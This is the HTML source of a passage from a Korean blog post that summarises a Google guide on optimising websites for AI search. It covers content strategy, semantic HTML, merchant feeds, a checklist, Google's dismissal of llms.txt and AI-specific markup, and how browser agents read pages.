 &lt;h2 id=&quot;section-4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 실무 적용: 콘텐츠·기술·커머스&lt;/b&gt;&lt;/h2&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D6Esm/dJMcaak1CWU/dxYPcFgbnKhKiMRYukesgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D6Esm/dJMcaak1CWU/dxYPcFgbnKhKiMRYukesgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D6Esm/dJMcaak1CWU/dxYPcFgbnKhKiMRYukesgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD6Esm%2FdJMcaak1CWU%2FdxYPcFgbnKhKiMRYukesgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;530&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;콘텐츠 전략 — 비상품형 고유 인사이트가 유리한 이유&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;995&quot; data-origin-height=&quot;541&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bP7fea/dJMcafzTYwe/cwQOsVYhzf7IvkV48VOkX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bP7fea/dJMcafzTYwe/cwQOsVYhzf7IvkV48VOkX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bP7fea/dJMcafzTYwe/cwQOsVYhzf7IvkV48VOkX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbP7fea%2FdJMcafzTYwe%2FcwQOsVYhzf7IvkV48VOkX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;995&quot; height=&quot;541&quot; data-origin-width=&quot;995&quot; data-origin-height=&quot;541&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;AI 검색에서 비상품형 콘텐츠가 유리한 이유는 Google 가이드가 명시한 콘텐츠 속성에서 비롯된다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 독자적 관점 제공, 유용하고 신뢰할 수 있는 비상품형 자료 창출을 AI 검색 노출에 영향을 미치는 핵심 요소로 꼽는다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;블로거와 개발자에게 직접적으로 적용하면:&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;남들이 정리한 것을 재정리하는 콘텐츠보다, 직접 테스트하거나 분석한 내용을 담은 글이 AI 검색에서 더 유리하다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;트래픽을 위해 키워드를 남발한 글보다, 독자에게 실질적 가치를 주는 심층 분석이 앞으로 더 많이 인용된다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기술 구조 최적화 — 시맨틱 HTML의 재발견&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;543&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A97pz/dJMcahdpqiq/ITkd6QoRCkZS1pN06VHW20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A97pz/dJMcahdpqiq/ITkd6QoRCkZS1pN06VHW20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A97pz/dJMcahdpqiq/ITkd6QoRCkZS1pN06VHW20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA97pz%2FdJMcahdpqiq%2FITkd6QoRCkZS1pN06VHW20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1005&quot; height=&quot;543&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;543&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;기술 구조에서 주목할 포인트는 시맨틱 HTML에 대한 Google의 입장이다:&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&quot;사람이 읽기 좋게 작성하면 되고, 완벽한 코드 검증은 필요 없다.&quot; HTML 마크업의 기계적 완벽함보다 독자가 쉽게 이해하는 구조가 더 중요하다는 뜻이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;JavaScript 기반 프레임워크(React, Vue, Next.js 등)를 사용한다면 콘텐츠가 차단 없이 크롤링되는지 확인하는 것이 우선이다. Google은 차단되지 않은 JavaScript 콘텐츠를 처리할 수 있지만, 일반 HTML보다 더 복잡한 과정이 필요하다. 의외로 자주 막히는 부분이 바로 JavaScript 렌더링 차단 설정이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;로컬 비즈니스·이커머스 — 커머스 에이전트의 입구&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjIyoO/dJMcaaZDv8A/uP7kKpaek898GpUP0Nz3Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjIyoO/dJMcaaZDv8A/uP7kKpaek898GpUP0Nz3Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjIyoO/dJMcaaZDv8A/uP7kKpaek898GpUP0Nz3Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjIyoO%2FdJMcaaZDv8A%2FuP7kKpaek898GpUP0Nz3Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;990&quot; height=&quot;546&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;로컬 비즈니스와 이커머스 운영자에게는 Google Business Profile과 Merchant Center 피드가 AI 응답 노출의 핵심 입구가 된다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이와 함께 Google은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.google/products/ads-commerce/agentic-commerce-ai-tools-protocol-retailers-platforms/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Business Agent&lt;/a&gt;를 소개했다. 검색에서 브랜드와 고객이 직접 대화할 수 있는 경험으로, Lowe's, Michael's, Poshmark, Reebok 등과 함께 2026년 1월에 런칭됐다. AI 에이전트가 쇼핑 여정 전체를 중개하는 방향으로 커머스 생태계가 이동하고 있음을 보여주는 사례다.&lt;/p&gt; &lt;!-- 섹션 5 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 지금 당장 할 수 있는 체크리스트&lt;/b&gt;&lt;/h2&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Google 가이드의 &quot;다음 단계&quot; 섹션과 기술 구조 권장 사항을 블로거·개발자 관점에서 실행 가능한 항목으로 정리했다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt; 
  &lt;thead&gt; 
   &lt;tr&gt; 
    &lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;우선순위&lt;/th&gt; 
    &lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt; 
    &lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;확인 방법&lt;/th&gt; 
   &lt;/tr&gt; 
  &lt;/thead&gt; 
  &lt;tbody&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;즉시&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기존 SEO 모범 사례 점검 (Search Console 오류 해결)&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Google Search Console → Coverage 탭&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;즉시&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비상품형 콘텐츠 감사 — 독자적 관점·데이터가 없는 글 목록화&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;직접 검토&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;즉시&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;JavaScript 렌더링 차단 여부 확인&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Google Search Console → URL 검사&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단기&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;고유 인사이트 콘텐츠 기획 — 직접 테스트·분석 포함&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;콘텐츠 캘린더&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단기&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;시맨틱 HTML 구조 점검 (heading 계층, alt 텍스트 등)&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Lighthouse → Accessibility&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단기&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;중복 콘텐츠 정리 및 canonical 태그 확인&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Screaming Frog 또는 Search Console&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이커머스&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Merchant Center 피드 최신화&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Google Merchant Center&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이커머스/로컬&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Google Business Profile 정보 최신화&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Google Business Profile 대시보드&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;관망&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;llms.txt 파일 생성&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;필요 없음 (Google이 명시)&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;관망&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;콘텐츠 청킹·분할 작업&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;필요 없음 (Google이 명시)&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;관망&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;AI 전용 schema.org 마크업 추가&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; color: #888;&quot;&gt;필요 없음 (Google이 명시)&lt;/td&gt; 
   &lt;/tr&gt; 
  &lt;/tbody&gt; 
 &lt;/table&gt; 
 &lt;div style=&quot;background-color: #d4edda; padding: 15px 18px; border-radius: 0 8px 8px 0; border-left: 4px solid #28a745; margin: 20px 0;&quot;&gt; 
  &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;가이드가 &quot;불필요하다&quot;고 명시한 항목에 시간을 쓰지 않는 것 자체가 실행이다.&lt;/p&gt; 
 &lt;/div&gt; &lt;!-- 섹션 6 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 통념 파괴: llms.txt·청킹·AI 마크업이 필요 없는 이유&lt;/b&gt;&lt;/h2&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Google이 공식으로 부정한 네 가지&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbOklr/dJMcafGF4ga/1xiQENit8Lyr4AQT2NLw91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbOklr/dJMcafGF4ga/1xiQENit8Lyr4AQT2NLw91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbOklr/dJMcafGF4ga/1xiQENit8Lyr4AQT2NLw91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbOklr%2FdJMcafGF4ga%2F1xiQENit8Lyr4AQT2NLw91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;982&quot; height=&quot;527&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 AI 검색에 필요하지 않다고 명시한 항목을 직접 열거한다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드&lt;/a&gt;)&lt;/p&gt; 
 &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt; 
  &lt;thead&gt; 
   &lt;tr&gt; 
    &lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt; 
    &lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;가이드의 공식 입장&lt;/th&gt; 
   &lt;/tr&gt; 
  &lt;/thead&gt; 
  &lt;tbody&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;llms.txt 파일&lt;/b&gt;&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&quot;생성형 AI 검색에 노출되기 위해 새 기계 가독 파일, AI 텍스트 파일, 마크업, 마크다운을 만들 필요 없다&quot;&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;콘텐츠 청킹&lt;/b&gt;&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&quot;AI가 더 잘 이해하도록 콘텐츠를 작은 조각으로 쪼갤 필요 없다&quot;&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;AI 전용 글쓰기 스타일&lt;/b&gt;&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&quot;생성형 AI 검색을 위해 특정 방식으로 글을 쓸 필요 없다&quot;&lt;/td&gt; 
   &lt;/tr&gt; 
   &lt;tr&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;구조화 데이터 과의존&lt;/b&gt;&lt;/td&gt; 
    &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&quot;생성형 AI 검색에 구조화 데이터가 필수가 아니며, 추가해야 할 특별한 schema.org 마크업도 없다&quot;&lt;/td&gt; 
   &lt;/tr&gt; 
  &lt;/tbody&gt; 
 &lt;/table&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;네 가지 모두 &quot;하지 않아도 된다&quot;는 공식 선언이다. 마케팅 업계에서 'AI SEO 필수'로 포장해 팔리던 기법들이 공식으로 부정된 셈이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;John Mueller의 llms.txt 비유&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1291&quot; data-origin-height=&quot;687&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O94dm/dJMcacXsawA/WyulrV6bBk8Klb5ZDKcUZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O94dm/dJMcacXsawA/WyulrV6bBk8Klb5ZDKcUZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O94dm/dJMcacXsawA/WyulrV6bBk8Klb5ZDKcUZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO94dm%2FdJMcacXsawA%2FWyulrV6bBk8Klb5ZDKcUZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1291&quot; height=&quot;687&quot; data-origin-width=&quot;1291&quot; data-origin-height=&quot;687&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;p data-ke-size=&quot;size16&quot;&gt;Google의 John Mueller는 Reddit에서 llms.txt에 대해 더 직접적으로 말했다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&quot;원본 콘텐츠(와 구조화 데이터)가 이미 다운로드된 상태에서 그 마크다운 파일을 왜 쓰겠느냐, 신뢰하기에는 너무 조작 가능해서 어떤 검색엔진도 쓰지 않게 된 키워드 메타 태그와 매우 유사하다.&quot; (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.searchenginejournal.com/llms-txt-for-ai-seo/556576/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Search Engine Journal&lt;/a&gt;)&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이미 크롤링한 콘텐츠를 마크다운으로 재요약한 파일을 따로 신뢰할 이유가 없다는 논리다. llms.txt는 키워드 메타 태그처럼, 한때 유행하다가 조작 가능성 때문에 무시된 기법의 경로를 밟을 가능성이 높다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;llms.txt 논란 — Google의 자기모순?&lt;/h3&gt; 
 &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;673&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bo7ooh/dJMcahkddBF/qWmmTUwyoqvRRcptx96iT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bo7ooh/dJMcahkddBF/qWmmTUwyoqvRRcptx96iT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bo7ooh/dJMcahkddBF/qWmmTUwyoqvRRcptx96iT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbo7ooh%2FdJMcahkddBF%2FqWmmTUwyoqvRRcptx96iT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1292&quot; height=&quot;673&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;673&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
 
 &lt;div style=&quot;background-color: #f8d7da; padding: 15px 18px; border-radius: 0 8px 8px 0; border-left: 4px solid #dc3545; margin: 20px 0;&quot;&gt; 
  &lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;논란:&lt;/b&gt; Google이 llms.txt를 &quot;불필요하다&quot;고 공개적으로 말한 뒤, 자사 Search Central 개발자 문서 포털에 조용히 llms.txt 파일을 업로드했다. Mueller의 반응은 단순히 &quot;hmmn :-/&quot;였고, 이는 Google의 공식 입장을 더욱 모호하게 만들었다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.omnius.so/industry-updates/google-adds-llms-txt-to-docs-after-publicly-dismissing-it&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Omnius&lt;/a&gt;)&lt;/p&gt; 
 &lt;/div&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;이 논란을 어떻게 봐야 할까. Google이 llms.txt를 자사 사이트에 올린 것은 &quot;llms.txt를 활용하는 다른 AI 도구들을 위한 배려&quot;로 해석된다. Google 검색이 llms.txt를 사용하지 않더라도, ChatGPT나 Claude 같은 AI 도구들은 이를 참고할 수 있기 때문이다. 즉, &quot;Google Search 최적화 관점에서는 불필요하지만, 다른 AI 생태계를 위해서는 고려할 수 있다&quot;는 게 현재로서 가장 합리적인 해석이다.&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;구글 검색 노출을 목표로 한다면 가이드의 공식 입장을 따르면 된다. 다른 AI 도구까지 고려한다면 llms.txt는 옵션이지 의무가 아니다.&lt;/p&gt; &lt;!-- 섹션 7 --&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 id=&quot;section-7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 에이전트 경험 — 웹의 다음 레이어&lt;/b&gt;&lt;/h2&gt; 
 &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 에이전트가 웹을 '사용'하는 방식&lt;/h3&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;가이드에서 가장 앞을 내다보는 섹션은 Agentic experiences(에이전트 경험)다. AI 에이전트는 사용자를 대신해 예약, 상품 비교 등의 작업을 수행하는 자율 시스템이다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드&lt;/a&gt;)&lt;/p&gt; 
 &lt;p data-ke-size=&quot;size16&quot;&gt;브라우저 에이전트가 웹사이트에 접근하는 방식이 인간 사용자와 다르다는 점이 중요하다. 브라우저 에이전트는 스크린샷 분석, DOM 구조 검사, 접근성 트리(accessibility tree) 해석 방식으로 페이지를 이해한다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.google.com/search/docs/fundamentals/ai-optimization-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google AI 최적화 가이드&lt;/a&gt;) 쉽게 말해, AI 에이전트는 눈으로 보기도 하고, 코드 구조를 읽기도 하고, 스크린리더처럼 접근성 정보를 파싱하기도 한다.&lt;/p&gt; 
